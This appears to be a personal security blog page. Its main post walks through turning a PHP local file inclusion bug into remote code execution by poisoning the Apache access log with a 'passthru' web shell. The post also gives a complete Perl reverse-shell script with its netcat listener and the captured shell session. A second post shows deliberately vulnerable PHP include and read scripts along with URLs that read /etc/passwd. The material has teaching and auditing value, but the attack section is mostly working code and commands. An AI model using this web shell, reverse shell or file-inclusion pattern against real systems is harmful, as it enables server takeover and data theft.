Monday, August 19, 2019

LFI to Remote Code Execution

LFI to Remote Code Execution

The idea is to inject PHP code in to the access log of the HTTP server, then include the log file via our LFI where the PHP code will be interpreted by the web server. once the PHP code is injected we can issue system command to be ran on the remote web server via our LFI exploit.

Something to take in to account is that the log files have to be readable. If you do not have read access to the file it will not work.

We can use netcat to send the request to the server using the following PHP code '<?php passthru($_GET['cmd']);?>' in a GET request.

root@ubuntu:~# nc localhost 80
GET /<?php passthru($_GET['cmd']);?> HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Sun, 18 Aug 2019 01:57:02 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

root@ubuntu:~#

Apache log file entry

127.0.0.1 - - [17/Aug/2019:19:57:02 -0600] "GET /<?php passthru($_GET['cmd']);?> HTTP/1.1\n" 400 0 "-" "-"

The log entry above shows the PHP code we injected. This code will be intrepreted by the webserver as PHP code and executed when viewed.

Running commands

Before we can run commands on the remote machine we need to append our PHP variable contained in the code we injected eariler, in this example it is 'cmd'. We can append our command variable using the '&' symbol.

So our final URL should look something like this:

http://localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=uname -a

Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Reverse connect shell

We want an interactive shell we can issue commands from and for that we can use a reverse connect shell. What a reverse connect shell does is causes the remote machine to connect back to the attackers computer which is acting as a server listening for connections on a certain port.

#!/usr/bin/env perl
use Socket;

$i=127.0.0.1;
$p=4444;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));

if (connect(S,sockaddr_in($p,inet_aton($i)))) {
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");

	exec("/bin/sh -i");	
}

In order to get the remote machine to connect back we need to execute the perl script on the server. We append out perl code to our command url and send the request.

First we need to setup the listener. We do so by issuing the following netcat command: nc -nvlp [port].

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Once the listener is up and running we can issue the GET request with our PERL code appended to our URL.

localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=[perl code...]

If everything goes well you will have a successful connect back which drops to a system prompt where you will be able to issue commands.

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 47392 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ whoami       
www-data
$ 

Sunday, August 4, 2019

Auditing PHP Applications for Local File Disclosure Vulnerabilities

Searching for vulnerabilities using grep

You can search for these function using the grep utility. you can also specify the patterns in a file grep will read from. this is a good way to match mutiliple patterns over multiple files.

This is the contents of our patterns.txt file:

include(
include_once(
require(
require_once(
file_get_contents(
readfile(
fread(
fgets(
Command: grep -f patterns.txt -r -n /path/to/dir

The 'r' option tells grep to read all files in the directory , while the 'n' option tells grep to output line numbers

sam@ubuntu:~/public_html$ grep -f patterns.txt -r -n file_upload_audit/
file_upload_audit/include.php:3:include($file);
file_upload_audit/fgets.php:6: echo fgets($fh);
file_upload_audit/get-cont.php:4:echo file_get_contents($file);
file_upload_audit/readfile.php:4:readfile($file);
file_upload_audit/fread.php:5:echo fread($fh,filesize($file));
sam@ubuntu:~/public_html$

include(),include_once(),require(),require_once()

<?php
 $file = $_GET['file'];
 include($file);
?>

Final URL:

http://localhost/~sam/include.php?file=/etc/passwd

file_get_contents()

the file_get_contents functions takes a path to a file as is argument and returns the output of the file in a string format. You can include files through this function just like the include and require functions above.

<?php
 $file = $_GET['file'];
 echo file_get_contents($file);
?>

Final URL:

http://localhost/~sam/get-cont.php?file=/etc/passwd

readfile()

the readfile() function simply reads a file and writes it to output. If you can control what goes in to read file a local file inclusion can occur.

<?php
 $file = $_GET['file'];
 readfile($file);
?>

fread()

fread function take a resource created by fopen which fread then reads the file and outputs the result. This too can be vulnerable to a local file inclusion if the input isnt sanitized.

<?php
$file = $_GET['file'];
$fh = fopen($file,"r");
echo fread($fh,filesize($file));
fclose($fh);
?>

fgets()

fgets function is like the fread function above. fgets takes a resource from fopen and returns the result of the file being read line by line.

<?php 
$file = $_GET['file'];
$fh = fopen($file,"r");

while (!feof($fh)) {
 echo fgets($fh);
}

fclose($fh);
?>

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...